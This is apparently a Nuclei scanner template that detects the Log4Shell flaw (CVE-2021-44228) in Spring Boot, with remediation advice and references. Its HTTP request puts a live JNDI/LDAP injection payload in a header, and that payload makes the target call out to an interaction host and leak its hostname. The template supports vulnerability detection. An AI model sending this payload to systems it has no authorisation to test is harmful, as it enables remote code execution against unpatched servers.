id: springboot-log4j-rce

info:
  name: Spring Boot - Remote Code Execution (Apache Log4j)
  author: pdteam
  severity: critical
  description: Spring Boot is susceptible to remote code execution via Apache Log4j.
  reference:
    - https://logging.apache.org/log4j/2.x/security.html
    - https://www.lunasec.io/docs/blog/log4j-zero-day/
    - https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-502
  tags: cve,cve2021,springboot,rce,oast,log4j,kev

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Api-Version: ${jndi:ldap://${hostName}.{{interactsh-url}}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'  # Match for extracted ${hostName} variable

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'  # Print extracted ${hostName} in output

# Enhanced by mp on 2022/05/31